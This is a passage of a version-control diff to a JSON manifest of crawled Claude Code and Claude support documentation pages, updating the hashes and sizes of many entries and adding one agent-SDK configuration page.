}, { "url": "https://code.claude.com/docs/en/self-hosted-environments-testing", "status": "success", "path": "en/docs/claude-code/self-hosted-environments-testing.md", - "sha256": "1c0cf02a5024078b7cd182a0b4e62226b28c7e47299da19d1e9441b631b62523", + "sha256": "ec0e10267aae564160ca9d007bf408bab76db11a6d253a29b0b802fa02289b70", "size": 15651 }, { "url": "https://code.claude.com/docs/en/self-hosted-environments-reference", "status": "success", "path": "en/docs/claude-code/self-hosted-environments-reference.md", - "sha256": "27e2ab485fa6fa750b232b3e787550f8086af220e5c1f316321696465fece749", - "size": 88796 + "sha256": "f24d267f6621b9fb2b380e35bc9bca73fd772e93eab7dea6fafde6f1031f8f46", + "size": 89954 }, { "url": "https://code.claude.com/docs/en/self-hosted-environments-identity", "status": "success", "path": "en/docs/claude-code/self-hosted-environments-identity.md", - "sha256": "04787fc3c8280d8a5e80d75283aa00e1a788cea90ce17924ff07738e488c2d03", - "size": 25388 + "sha256": "8e20172ced1f94221f7e6814ea1156deba0830efc25e707ce586255b2d82dd3e", + "size": 25383 }, { "url": "https://code.claude.com/docs/en/model-config", "status": "success", "path": "en/docs/claude-code/model-config.md", - "sha256": "d761544fcbdd94b961ad546358257632e25e6ccbcf4cafb17cc27202c1c38250", - "size": 111174 + "sha256": "98334d9d22a0f7fb9cd93b108e5ba48ddad767952f1922e1c3ab74a0e96ca505", + "size": 111200 }, { "url": "https://code.claude.com/docs/en/fast-mode", @@ -5259,8 +5259,8 @@ "url": "https://code.claude.com/docs/en/terminal-config", "status": "success", "path": "en/docs/claude-code/terminal-config.md", - "sha256": "68c087fa0c2962e7bcde44a1078c8abb3182a130e0561919b3fb5ae6266a7f65", - "size": 26866 + "sha256": "2b1062c910f02e3c12ec9cd2879391363845caa8c62b378becf3015ce5b25f7a", + "size": 26848 }, { "url": "https://code.claude.com/docs/en/fullscreen", @@ -5280,15 +5280,15 @@ "url": "https://code.claude.com/docs/en/voice-dictation", "status": "success", "path": "en/docs/claude-code/voice-dictation.md", - "sha256": "5ccf72c81a7326a8bad526c0092bf1b3d24802bebcb6c649e3cf90d623f39e4d", - "size": 16962 + "sha256": "3fa55fbf8ba47c232e18ba5462b566621220e66c4f98493e7ed45174a1adf08c", + "size": 16926 }, { "url": "https://code.claude.com/docs/en/statusline", "status": "success", "path": "en/docs/claude-code/statusline.md", - "sha256": "25714ae87efd73e8e4306f76fde76471ba55cb1a50ce48d4126baa0731d1cbd1", - "size": 79133 + "sha256": "a5629b7564296c868e136e50c71a55a84f2bcb7bbe991fac5868f2532b7a66ed", + "size": 79136 }, { "url": "https://code.claude.com/docs/en/keybindings", @@ -5301,29 +5301,29 @@ "url": "https://code.claude.com/docs/en/cli-reference", "status": "success", "path": "en/docs/claude-code/cli-reference.md", - "sha256": "b518ad70f2ae0bdfe1bfc0aa0c9a85ea71612258548c0d9366a0b6192e17dc27", + "sha256": "6c310f8870369d80a335d2bd12b45f7dd42cf17b742b58bc9a4ea334a91b4828", "size": 118491 }, { "url": "https://code.claude.com/docs/en/commands", "status": "success", "path": "en/docs/claude-code/commands.md", - "sha256": "f2326c0417427dfea17a0c8a1759d81cc378e414108d913cee266e64b078f252", - "size": 175116 + "sha256": "46f7b66b9b35b2a2eb9ee8f0a3006cfa8ef2bab0b88045ac2aad92fc868c5c18", + "size": 175118 }, { "url": "https://code.claude.com/docs/en/env-vars", "status": "success", "path": "en/docs/claude-code/env-vars.md", - "sha256": "fa2aa0671ea1fb658e84f4160e9a411e637a670a602b56de7d6660b04d354740", - "size": 486758 + "sha256": "335b79deea98d5accfbcb056ef907ba8edde673b931c0dfa13b5e1bd82b7d12f", + "size": 488089 }, { "url": "https://code.claude.com/docs/en/tools-reference", "status": "success", "path": "en/docs/claude-code/tools-reference.md", - "sha256": "9a995b4c433825f38c932bec9da2942c4dcc6be12abb162db3577c4426cd1221", - "size": 108519 + "sha256": "b04a5e501761d932a73ab0a4edb03e8ca945d9314fb09d090fe7bb664d0128e3", + "size": 109682 }, { "url": "https://code.claude.com/docs/en/interactive-mode", @@ -5336,36 +5336,36 @@ "url": "https://code.claude.com/docs/en/checkpointing", "status": "success", "path": "en/docs/claude-code/checkpointing.md", - "sha256": "9373dbaf0a3fc3f2522001d0d71772c009a0028f51adcba1676e74811c90ae51", + "sha256": "82edec95e91ab38c7ec1544c6415a8e04764d9cc219371c54879dd9c68eb7519", "size": 8711 }, { "url": "https://code.claude.com/docs/en/hooks", "status": "success", "path": "en/docs/claude-code/hooks.md", - "sha256": "0dc5622c49bb817a53c78a974bb8e1664a30204300b0dbb3ba92a998007b4963", - "size": 322902 + "sha256": "37590fd1b37e83d7368b36d4d4b2e369d9ef498ae6350e91f023ee84b0f41048", + "size": 327577 }, { "url": "https://code.claude.com/docs/en/plugins-reference", "status": "success", "path": "en/docs/claude-code/plugins-reference.md", - "sha256": "2ec72675ed8a1c83bbbd75b64a7245bc5f0585a6df7e8504cbfd5b69b375fbb3", - "size": 135769 + "sha256": "3f6a011810e285875bb11bb03ede8e2835db57d06c596e77460ee8d8bce88f2b", + "size": 135806 }, { "url": "https://code.claude.com/docs/en/channels-reference", "status": "success", "path": "en/docs/claude-code/channels-reference.md", - "sha256": "fe5f5de5df3787bf5eef7ecb3f98d56e2a41760f9c3c75bde5cc11aae7d8bcaa", - "size": 50351 + "sha256": "9ea1a92e784f8960727f463f3c9040bd3f665d28ff91a95257d5d516e04e2c09", + "size": 50423 }, { "url": "https://code.claude.com/docs/en/glossary", "status": "success", "path": "en/docs/claude-code/glossary.md", - "sha256": "55685afdb741474c99b1ff0f86d1e48ebc035290a5834e76289acf6857211c5e", - "size": 23525 + "sha256": "00b68b486a912831e613733ffa85344eb9ddd33f324eeea5cd77ea0b77c211aa", + "size": 24939 }, { "url": "https://code.claude.com/docs/en/agent-sdk/overview", @@ -5378,8 +5378,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/quickstart", "status": "success", "path": "en/docs/claude-code/agent-sdk/quickstart.md", - "sha256": "3a97c3e7c68c3b97928642007842a2eaba424585d4a4f60c175dda54d8ee28cc", - "size": 15237 + "sha256": "75f235188206df4dd1866a9913bb032e45bf5c315d56cc24aa33f6f4e1cb582a", + "size": 15568 }, { "url": "https://code.claude.com/docs/en/agent-sdk/migration-guide", @@ -5395,6 +5395,13 @@ "sha256": "cbdc767a3f63d1b3a1a6176b000d8dd6111d6bc8c474b5761a714edc54d6a6e0", "size": 11198 }, + { + "url": "https://code.claude.com/docs/en/agent-sdk/configuration", + "status": "success", + "path": "en/docs/claude-code/agent-sdk/configuration.md", + "sha256": "d189fd51564badedbb0c7f960ba71afb8d053220f5656a524e4e632bfe5e7479", + "size": 21182 + }, { "url": "https://code.claude.com/docs/en/agent-sdk/examples", "status": "success", @@ -5406,15 +5413,15 @@ "url": "https://code.claude.com/docs/en/agent-sdk/agent-loop", "status": "success", "path": "en/docs/claude-code/agent-sdk/agent-loop.md", - "sha256": "1b57a943f365d52fcdf7ba2d765ef7214df3403d66e3cd095f3a40136ccf0c51", - "size": 49680 + "sha256": "6d8ffc02abca924386a50ae31052a050560b26ed89c8860cc67ed825b874ff6b", + "size": 49731 }, { "url": "https://code.claude.com/docs/en/agent-sdk/claude-code-features", "status": "success", "path": "en/docs/claude-code/agent-sdk/claude-code-features.md", - "sha256": "a48c7852f655f888a5bd8c58897b0805e1efd11b72dca6f0eaeaa8c0673a5650", - "size": 29303 + "sha256": "7e149e4a914d0ac480e0b9fabbcb75e8e497ecc244e840e7ac04d5fff0b555f8", + "size": 29387 }, { "url": "https://code.claude.com/docs/en/agent-sdk/sessions", @@ -5427,8 +5434,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/session-storage", "status": "success", "path": "en/docs/claude-code/agent-sdk/session-storage.md", - "sha256": "876ad14246e0642c6797d67635995a4dfbad0508d733d9d8373d8c98f6e54b7c", - "size": 24363 + "sha256": "98a891d5d6daf1201160a7af4b6277d73c4fbad6c428ad72731b5cdeab12438b", + "size": 25637 }, { "url": "https://code.claude.com/docs/en/agent-sdk/streaming-vs-single-mode", @@ -5441,8 +5448,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/user-input", "status": "success", "path": "en/docs/claude-code/agent-sdk/user-input.md", - "sha256": "de70c72a2cb6548c9aacf9c013febe6c089dd8fa7600d6826b9d55bdeb94defa", - "size": 39007 + "sha256": "9996484e3bf0386bf398675346edce7ac02119a8f9f7d2a285f713f0a895255b", + "size": 39067 }, { "url": "https://code.claude.com/docs/en/agent-sdk/streaming-output", @@ -5462,8 +5469,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/custom-tools", "status": "success", "path": "en/docs/claude-code/agent-sdk/custom-tools.md", - "sha256": "839f9e77351743e25c28455ae2fe841498dba2cc2e0cca090fa5533e856f65aa", - "size": 41393 + "sha256": "d512ca722c2f9b8242f05d6c0d69a9b4bd08971a68a8e220ec0d72fde966fc32", + "size": 41400 }, { "url": "https://code.claude.com/docs/en/agent-sdk/mcp", @@ -5483,8 +5490,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/subagents", "status": "success", "path": "en/docs/claude-code/agent-sdk/subagents.md", - "sha256": "7333354aa2d5881a46c249554d170c4dfd73bf6a5c85167f7ca308c05d671f1b", - "size": 47066 + "sha256": "ad9ed4a85c252ab298ea9c77f1644bc928ad80814d0595a664a486b054ab3e8c", + "size": 47206 }, { "url": "https://code.claude.com/docs/en/agent-sdk/modifying-system-prompts", @@ -5497,15 +5504,15 @@ "url": "https://code.claude.com/docs/en/agent-sdk/skills", "status": "success", "path": "en/docs/claude-code/agent-sdk/skills.md", - "sha256": "a7027fa28304e8a2c44ab86a09b061b4ea235186568b9e99d59d0357afae8e78", - "size": 26860 + "sha256": "367d6194fc6145c1ff77c583c7bd375f7830f42655350628df6b60fd9c32c482", + "size": 26863 }, { "url": "https://code.claude.com/docs/en/agent-sdk/plugins", "status": "success", "path": "en/docs/claude-code/agent-sdk/plugins.md", - "sha256": "c0f79d1b6ed8e32def8695828d264110c709300854177c4b1bb524bb1e0a06d6", - "size": 12039 + "sha256": "2cc87bb794f9e3095039377a65794e948608c76ece831ee2634f5e8599aa36e1", + "size": 12034 }, { "url": "https://code.claude.com/docs/en/agent-sdk/permissions", @@ -5518,22 +5525,22 @@ "url": "https://code.claude.com/docs/en/agent-sdk/hooks", "status": "success", "path": "en/docs/claude-code/agent-sdk/hooks.md", - "sha256": "34b4f9098b5a22268263627dc293c27764f356c1fad6cd4585306d2c582b4240", - "size": 55236 + "sha256": "6f7ed4720e074380b4835bc79add5cd1aa0f40e0d95ae3b7afede18f4a7090a3", + "size": 55991 }, { "url": "https://code.claude.com/docs/en/agent-sdk/file-checkpointing", "status": "success", "path": "en/docs/claude-code/agent-sdk/file-checkpointing.md", - "sha256": "550722eaa3163a65a19b80883583a8abcca552474da36edb8533932be3f77716", - "size": 33394 + "sha256": "9ab83bde8cfd368b1a8a551245e18969cbf0e432b6fdfe1345df57bdb833dbb5", + "size": 33380 }, { "url": "https://code.claude.com/docs/en/agent-sdk/cost-tracking", "status": "success", "path": "en/docs/claude-code/agent-sdk/cost-tracking.md", - "sha256": "53b62d03543df5389b9e092abd489c63c1a8ba5457403754a508781b06a5a9db", - "size": 26882 + "sha256": "28f74ba243aa7319c7df0cbcd3ff7f30a46f75eaecb09d543bc3cf18aefe93fc", + "size": 26892 }, { "url": "https://code.claude.com/docs/en/agent-sdk/observability", @@ -5553,8 +5560,8 @@ "url": "https://code.claude.com/docs/en/agent-sdk/hosting", "status": "success", "path": "en/docs/claude-code/agent-sdk/hosting.md", - "sha256": "45b0d2caa90b7120d0a6d52e931aee339dd8cae26c9c117e20abf03d7f5c8187", - "size": 25318 + "sha256": "9352342cc8998162cdcc6b5f209ec79672dd306018cf45dae67c84d6ccc94358", + "size": 25404 }, { "url": "https://code.claude.com/docs/en/agent-sdk/secure-deployment", @@ -5567,29 +5574,29 @@ "url": "https://code.claude.com/docs/en/agent-sdk/typescript", "status": "success", "path": "en/docs/claude-code/agent-sdk/typescript.md", - "sha256": "23b83030fc78e668151af9dddd610a4273ee475fef6dde049514a68714187deb", - "size": 359749 + "sha256": "c9966da9e3d62c6795df0233a7b1cfa940b057c21e0663b8dfeba9def1217591", + "size": 359847 }, { "url": "https://code.claude.com/docs/en/agent-sdk/typescript-v2-preview", "status": "success", "path": "en/docs/claude-code/agent-sdk/typescript-v2-preview.md", - "sha256": "d59d67e7bc6f7f27a75fbae3837acc1396216aad619d5bc8161185aed1121ba5", - "size": 12266 + "sha256": "e9db92c5509efc9988fa54a9fe3301b049ff04c582b4a1eca2f624a7203bd9aa", + "size": 12317 }, { "url": "https://code.claude.com/docs/en/agent-sdk/python", "status": "success", "path": "en/docs/claude-code/agent-sdk/python.md", - "sha256": "629b1fe848ae8b6fddbbfbc29dc6f8e81a65d9d9b7d04ea86bed56a4779a612f", - "size": 198668 + "sha256": "d5009d47b98b81653c3c78fd54d36ac5a44d911d2fc74b8d2af7f4760d1b4187", + "size": 206662 }, { "url": "https://code.claude.com/docs/en/whats-new/index", "status": "success", "path": "en/docs/claude-code/whats-new/index.md", - "sha256": "0c99fe5d46c1f97a47e921be1e2df359ea16600aebd34e7a3912028ad75cd9f4", - "size": 16066 + "sha256": "461e0053c53a0a3b69992a1a3dcc3e8c3356d55e7b615acb79b5734a812e24ea", + "size": 16070 }, { "url": "https://code.claude.com/docs/en/whats-new/2026-w37", @@ -5707,7 +5714,7 @@ "url": "https://code.claude.com/docs/en/whats-new/2026-w20", "status": "success", "path": "en/docs/claude-code/whats-new/2026-w20.md", - "sha256": "6adb77dd7f1009b3890ab1d5c64042e231933e7abd3e1936a663463286acd1c5", + "sha256": "f791cea5fed1ed0247f9cb406ff5c4ef3169bea49ea9f440d213198459453654", "size": 6858 }, { @@ -5749,8 +5756,8 @@ "url": "https://code.claude.com/docs/en/whats-new/2026-w14", "status": "success", "path": "en/docs/claude-code/whats-new/2026-w14.md", - "sha256": "cfd2170641de2347d5d14d76ad8ec787d0cf8cf61a8a9b6971a700c099bd8715", - "size": 7906 + "sha256": "e37f02c31f06c209603db71c0c63e6e76d144775053fedecd4a5e80e91b7cde3", + "size": 7907 }, { "url": "https://code.claude.com/docs/en/whats-new/2026-w13", @@ -8276,8 +8283,8 @@ "url": "https://support.claude.com/en/articles/8114491-get-started-with-claude", "status": "success", "path": "support/8114491-get-started-with-claude.md", - "sha256": "a76f87f36126ae571e1bb142e25a494843153d8fdc6cdb991721fd00527730eb", - "size": 5298 + "sha256": "1e28b441ed45c5abc420ad7e28503fe76e9d122dabe04e1a8ccbed3e140e200e", + "size": 5300 }, { "url": "https://support.claude.com/en/articles/8114494-how-up-to-date-is-claude-s-training-data", @@ -8353,8 +8360,8 @@ "url": "https://support.claude.com/en/articles/8230524-delete-or-rename-a-conversation", "status": "success", "path": "support/8230524-delete-or-rename-a-conversation.md", - "sha256": "c33520f9f36226fe730f8ed834a607d0aff2ba60cecf36e177802c44c0c30a31", - "size": 5885 + "sha256": "34ac4715bdf92f6ec3949dfdabe8f7a30de77aaad2f372e4803045df345f3133", + "size": 5873 }, { "url": "https://support.claude.com/en/articles/8241126-upload-files-to-claude", @@ -8423,8 +8430,8 @@ "url": "https://support.claude.com/en/articles/8325618-paid-plan-billing-faqs", "status": "success", "path": "support/8325618-paid-plan-billing-faqs.md", - "sha256": "254fd33172d42793f464499d0f9f8ae0b306714aa685466d216a1c2f9e881bfe", - "size": 4553 + "sha256": "3430a1b0b9548a95fa197c7b211a6e5173770180fb914c00854bf54aadd9f77d", + "size": 4551 }, { "url": "https://support.claude.com/en/articles/8325621-i-would-like-to-input-sensitive-data-into-my-chats-with-claude-who-can-view-my-conversations", @@ -8486,8 +8493,8 @@ "url": "https://support.claude.com/en/articles/8887527-customizing-your-appearance-settings", "status": "success", "path": "support/8887527-customizing-your-appearance-settings.md", - "sha256": "e3583729293bd38012d5fb477a28af40bce086911849faf787f40b8886390bd7", - "size": 1864 + "sha256": "b776a16ad0b7a5fdd3fcd73028eee1754e6e54f9e1da00059a87bf399fb94a56", + "size": 1870 }, { "url": "https://support.claude.com/en/articles/8896518-does-anthropic-crawl-data-from-the-web-and-how-can-site-owners-block-the-crawler", @@ -8661,8 +8668,8 @@ "url": "https://support.claude.com/en/articles/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization", "status": "success", "path": "support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md", - "sha256": "9fc2ba765afd67310831ec7e8ddd5f2a685576fed1a43f4b56a3de43b79bcddf", - "size": 9729 + "sha256": "133fcdc9161aa0faf85fda3c35ac192872018605ca6466147f818c65de402dd0", + "size": 9723 }, { "url": "https://support.claude.com/en/articles/9301722-updates-to-our-acceptable-use-policy-now-usage-policy-consumer-terms-of-service-and-privacy-policy", @@ -8710,15 +8717,15 @@ "url": "https://support.claude.com/en/articles/9519177-how-can-i-create-and-manage-projects", "status": "success", "path": "support/9519177-how-can-i-create-and-manage-projects.md", - "sha256": "4fec8304da9b3ba09b97042a54f0dc0c1045006cb59344503b433de2907e6214", + "sha256": "ba66814151914b89e27d8fb0003e3e24b188be0c0f2b6174dd251a0e941eee89", "size": 8861 }, { "url": "https://support.claude.com/en/articles/9519189-manage-project-visibility-and-sharing", "status": "success", "path": "support/9519189-manage-project-visibility-and-sharing.md", - "sha256": "cf2d968209f8f5c9cc9e203a6aabad610667093f293d3dc2040a1f37ee754228", - "size": 8571 + "sha256": "cf33f31e2359fe0e52e770d6ade2aea397194dc56235948b525f989c2ec44ae8", + "size": 8563 }, { "url": "https://support.claude.com/en/articles/9519291-what-is-anthropic-s-policy-for-handling-governmental-requests-for-user-information", @@ -8738,15 +8745,15 @@ "url": "https://support.claude.com/en/articles/9534590-cost-and-usage-reporting-in-the-claude-console", "status": "success", "path": "support/9534590-cost-and-usage-reporting-in-the-claude-console.md", - "sha256": "65912fc76c23722130d7e7671eb360967a47a7635a172e121d5b75913dbf88ca", - "size": 5104 + "sha256": "054987254e2272cc6f31867a4f0512e236a4e179b86b69bc70e50bc69bb95c3b", + "size": 5098 }, { "url": "https://support.claude.com/en/articles/9547008-publish-and-share-artifacts", "status": "success", "path": "support/9547008-publish-and-share-artifacts.md", - "sha256": "142e62802a1bfde4bd957ab0f4815eba08b4dcff698396f672bec7936c1c219e", - "size": 7189 + "sha256": "59a187125077bf19558330735b4c19cdd4fd9a1ef3138139a905e7eb05954d05", + "size": 7201 }, { "url": "https://support.claude.com/en/articles/9612887-install-claude-for-android", @@ -8822,7 +8829,7 @@ "url": "https://support.claude.com/en/articles/9927533-disable-public-projects-for-your-organization", "status": "success", "path": "support/9927533-disable-public-projects-for-your-organization.md", - "sha256": "6d373ff7913ea8582087524a5aecb5a94d41eac350abf17c09a9c5f81d3c65bd", + "sha256": "8e067b972991cad57e433bb5ba882dd334e1dd7258e437514f4da81f36b0e519", "size": 2584 }, { @@ -8962,15 +8969,15 @@ "url": "https://support.claude.com/en/articles/10310342-how-do-i-log-out-of-all-active-sessions", "status": "success", "path": "support/10310342-how-do-i-log-out-of-all-active-sessions.md", - "sha256": "2343e4b036cc8d20377f1bd734f5995f9d0d76e5fa44ba63b46b9541f47e8717", - "size": 2496 + "sha256": "dd7a2e98095a6228f61ab119e8c4e4b22494bf2212ee60f211f2cada737336cf", + "size": 2500 }, { "url": "https://support.claude.com/en/articles/10366376-how-can-i-delete-my-claude-console-account", "status": "success", "path": "support/10366376-how-can-i-delete-my-claude-console-account.md", - "sha256": "0c9206a76a3e02819dbe33b00f4f5673a4347b346a3c9038a93f4ca87e0b9300", - "size": 3163 + "sha256": "5efc9d3261afc83c6eb0bf6717309c45907fe84f3d83f8956b49e84f695e7801", + "size": 3167 }, { "url": "https://support.claude.com/en/articles/10366389-how-can-i-get-higher-rate-limits-on-the-claude-api", @@ -9011,15 +9018,15 @@ "url": "https://support.claude.com/en/articles/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans", "status": "success", "path": "support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md", - "sha256": "32179b6207f07f83289a603d09655bb2a8d94a0a64b0e575c8869f360c5c86e9", + "sha256": "55f5868f6975b25f68bb602d97e2c81eab850fbe73d85ceb4ef903870e9b2281", "size": 1034 }, { "url": "https://support.claude.com/en/articles/10504853-manage-user-feedback-settings-on-claude-console", "status": "success", "path": "support/10504853-manage-user-feedback-settings-on-claude-console.md", - "sha256": "7927ecdf59bfb25fee39ca7f7190264ff96d2bed5c17f222d40a453ebc7ac080", - "size": 997 + "sha256": "2080426031e963a50c535944e275c7475a8e828831f7df0f30354b0a0c34106b", + "size": 999 }, { "url": "https://support.claude.com/en/articles/10534883-use-the-claude-widget-on-android", @@ -9032,8 +9039,8 @@ "url": "https://support.claude.com/en/articles/10593882-share-and-unshare-chats", "status": "success", "path": "support/10593882-share-and-unshare-chats.md", - "sha256": "7bfa532fa2edda580fcb6b1da2ac61091bfb717c857dbf13df72bb1ab8cb63c0", - "size": 4012 + "sha256": "20e69c6f0a7a0389804cdeb35bf98707677fefcb2a1e9ce950b329cfb21afdc0", + "size": 4014 }, { "url": "https://support.claude.com/en/articles/10684626-enable-and-use-web-search", @@ -9060,8 +9067,8 @@ "url": "https://support.claude.com/en/articles/10949351-getting-started-with-local-mcp-servers-on-claude-desktop", "status": "success", "path": "support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md", - "sha256": "f58d083baf9dc5d2d4d27b92bbbe480a7f60eb165ee3838337d3f331b3a6a695", - "size": 8269 + "sha256": "612f1a605ee2f062a2d034011c2af76eb7104b83a119beb685dbfcc6118b54f7", + "size": 8265 }, { "url": "https://support.claude.com/en/articles/11049741-what-is-the-max-plan", @@ -9102,8 +9109,8 @@ "url": "https://support.claude.com/en/articles/11101966-use-voice-mode", "status": "success", "path": "support/11101966-use-voice-mode.md", - "sha256": "038311c28a5b3cf38677c14b88a29f92fb8797ff3b678d37fee8fa2f67f784e9", - "size": 10556 + "sha256": "8139fffea4dc561804e315b27ae3c520d19c8da6cb9cee7a12c018c1c8ad7411", + "size": 10552 }, { "url": "https://support.claude.com/en/articles/11107691-why-is-a-coupon-or-promotion-not-available-for-my-account", @@ -9235,8 +9242,8 @@ "url": "https://support.claude.com/en/articles/11725453-set-up-the-claude-lti-in-canvas-by-instructure", "status": "success", "path": "support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md", - "sha256": "3f34b456e0ea52e2441d5ce2853b99f68d76fca3ca9f63ab1cf5e5651596b390", - "size": 2754 + "sha256": "25216841c8c8f7caaaa4f5e25882b9cc9cb54f9f119ee90d2624612ab549f8f8", + "size": 2746 }, { "url": "https://support.claude.com/en/articles/11732894-who-owns-and-manages-the-data-of-my-claude-for-education-account", @@ -9256,7 +9263,7 @@ "url": "https://support.claude.com/en/articles/11818288-why-am-i-being-asked-to-verify-my-payment-method", "status": "success", "path": "support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md", - "sha256": "9bab245b5551f43692d0a6848205774236b3c91d12afc8e4d23b14ec6d95b076", + "sha256": "0a22896ce1a356bbc2d2b924e218e4927a807989252fd8c8c57373190080c827", "size": 816 }, { @@ -9291,8 +9298,8 @@ "url": "https://support.claude.com/en/articles/11869629-use-claude-with-android-apps", "status": "success", "path": "support/11869629-use-claude-with-android-apps.md", - "sha256": "8352d25070afef4b998ccfca56a43bd332d4b812571fcf6cc0c2765ec7389a4b", - "size": 13995 + "sha256": "0c3bc21b8fd8d6b230b058eb723684ee7f3bc5974b5dbab7eb609c44da953770", + "size": 13991 }, { "url": "https://support.claude.com/en/articles/11932705-automated-security-reviews-in-claude-code", @@ -9326,15 +9333,15 @@ "url": "https://support.claude.com/en/articles/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans", "status": "success", "path": "support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md", - "sha256": "049c1a33ef84e014ec80d60c820b3933bbb32c30b0a1a6c643ad52972b5f3719", - "size": 9713 + "sha256": "c2c7565545feb586b95133189d98772bf448c313c5d18b73ce61f5facf1301ac", + "size": 9705 }, { "url": "https://support.claude.com/en/articles/12012173-get-started-with-claude-in-chrome", "status": "success", "path": "support/12012173-get-started-with-claude-in-chrome.md", - "sha256": "6bc10de970ff50e46ddead69056bfc23e861e209b5e18c39275e406e8689ab7a", - "size": 14855 + "sha256": "efaf5f050b9606d7ad02ef9985b9ba67fc762dcd802caaeddc7ab4bc8f2e7604", + "size": 14859 }, { "url": "https://support.claude.com/en/articles/12053672-what-happens-to-a-user-s-data-when-they-are-removed-from-a-team-or-enterprise-organization", @@ -9347,8 +9354,8 @@ "url": "https://support.claude.com/en/articles/12083917-change-your-team-plan-from-monthly-to-annual-billing", "status": "success", "path": "support/12083917-change-your-team-plan-from-monthly-to-annual-billing.md", - "sha256": "5601fb01b7b5f28439ab818edf6d9ef465465f9aebd3c206dd71565f445b2e9b", - "size": 1398 + "sha256": "e996b4a8000c6b2c0d11a1b2d52cee0bdafe2ef127a60ed0b1c06d39d5583868", + "size": 1396 }, { "url": "https://support.claude.com/en/articles/12109679-creating-a-new-account-after-deletion", @@ -9361,7 +9368,7 @@ "url": "https://support.claude.com/en/articles/12111783-create-and-edit-files-with-claude", "status": "success", "path": "support/12111783-create-and-edit-files-with-claude.md", - "sha256": "f5efeb934a2013c756c06b7462b385049bb663a0458b53c7b5f19399fee034f0", + "sha256": "0e30eb76211ec0e4bc039002c6b3bef708694949b260d9d47e1390218d41b6cf", "size": 17958 }, { @@ -9389,22 +9396,22 @@ "url": "https://support.claude.com/en/articles/12157520-claude-code-usage-analytics", "status": "success", "path": "support/12157520-claude-code-usage-analytics.md", - "sha256": "7780566c0d6750d5d1af0bda367e30eebbb58e135d8793fa3ec0bedb6f95bcca", - "size": 6425 + "sha256": "a78301748582392899dfc60001178c0dfde0dedc3a9a916d5dd4314beec1653c", + "size": 6427 }, { "url": "https://support.claude.com/en/articles/12260368-use-incognito-chats", "status": "success", "path": "support/12260368-use-incognito-chats.md", - "sha256": "8fd6b9eb4d59ba6ed98e9919b777d9303ecc6d4cdbfb083937d4f0ae74d8c109", + "sha256": "e03c2a0624d205f363894721657421e7c944c04db43f20314f2a6d3accde8e2d", "size": 3594 }, { "url": "https://support.claude.com/en/articles/12293051-use-claude-in-xcode", "status": "success", "path": "support/12293051-use-claude-in-xcode.md", - "sha256": "c43b6134271ea354e238c4deba23202395fd50b626e36b289681f2cfd5586824", - "size": 1909 + "sha256": "f77652b6df16716d94fa8d5eaee57f5222dc367a2a8f3ad4b781ded1dd48bbf0", + "size": 1905 }, { "url": "https://support.claude.com/en/articles/12304248-manage-api-key-environment-variables-in-claude-code", @@ -9445,15 +9452,15 @@ "url": "https://support.claude.com/en/articles/12429409-manage-usage-credits-for-paid-claude-plans", "status": "success", "path": "support/12429409-manage-usage-credits-for-paid-claude-plans.md", - "sha256": "490c99702d53e1ceff059ee5e8687df7354ae8a2f5e85b7700792dfeafca77ed", - "size": 6410 + "sha256": "591b81aed80ce8ea287dfcdf8e59427b7345ea7a98db31d38b25c09b61cf5cb0", + "size": 6412 }, { "url": "https://support.claude.com/en/articles/12466728-troubleshoot-claude-error-messages", "status": "success", "path": "support/12466728-troubleshoot-claude-error-messages.md", - "sha256": "43678a89c6c1bef8396c36105431b70e9075ec9bf3f40794e8117880e7276c29", - "size": 4236 + "sha256": "1d01e08b7dce1062be020de70e7f856476297aa8727c3fe98e63ccb401f37efa", + "size": 4234 }, { "url": "https://support.claude.com/en/articles/12489464-use-enterprise-search", @@ -9473,7 +9480,7 @@ "url": "https://support.claude.com/en/articles/12512180-use-skills-in-claude", "status": "success", "path": "support/12512180-use-skills-in-claude.md", - "sha256": "c52ea4cecc44e923a6f9923cabbb39d717db0433d408f7e9ac3e9bd9b1241026", + "sha256": "f9ff10c4bcd42e62f1734b12ab2d49ff1b0fdd3a98887ac83a919d17866c56ff", "size": 15918 }, { @@ -9494,8 +9501,8 @@ "url": "https://support.claude.com/en/articles/12592343-enabling-and-using-the-desktop-extension-allowlist", "status": "success", "path": "support/12592343-enabling-and-using-the-desktop-extension-allowlist.md", - "sha256": "0b52f0cc699efa374fc2a51a1a4a79f0f54207a95b0a3fd594a20369091c3c24", - "size": 5716 + "sha256": "083c21e539e0d9b9ee0bb8ab77b2d5a80e7a5c906e8f5178f46941922c39d157", + "size": 5720 }, { "url": "https://support.claude.com/en/articles/12611117-deploy-claude-desktop-for-macos", @@ -9508,8 +9515,8 @@ "url": "https://support.claude.com/en/articles/12618689-claude-code-on-the-web", "status": "success", "path": "support/12618689-claude-code-on-the-web.md", - "sha256": "f1c6449fb705f973c4f437fd813569673f0c35351923f6bd1b1881d7908a1ae8", - "size": 10970 + "sha256": "4d3788adad1f8e37343a2fef63db88022f93ff72d1f662ca88a89feaf3bda60b", + "size": 10960 }, { "url": "https://support.claude.com/en/articles/12622667-enterprise-configuration-for-claude-desktop", @@ -9529,8 +9536,8 @@ "url": "https://support.claude.com/en/articles/12626668-use-quick-entry-with-claude-desktop-on-mac", "status": "success", "path": "support/12626668-use-quick-entry-with-claude-desktop-on-mac.md", - "sha256": "f82631aa6aabdb1add63d83e7bda07f3e7a0a1c87527ec6b9e35394c09d1f8ba", - "size": 5972 + "sha256": "df328b1347776587c58ff1838128a2382a1f189785468833dfab343f7de212bc", + "size": 5970 }, { "url": "https://support.claude.com/en/articles/12684923-microsoft-365-connector-security-guide", @@ -9564,8 +9571,8 @@ "url": "https://support.claude.com/en/articles/12883420-view-usage-analytics-for-team-and-enterprise-plans", "status": "success", "path": "support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md", - "sha256": "2e9b540d2434e62e9f8dbf580108dea67d917255a250eec26e789995149cb214", - "size": 14507 + "sha256": 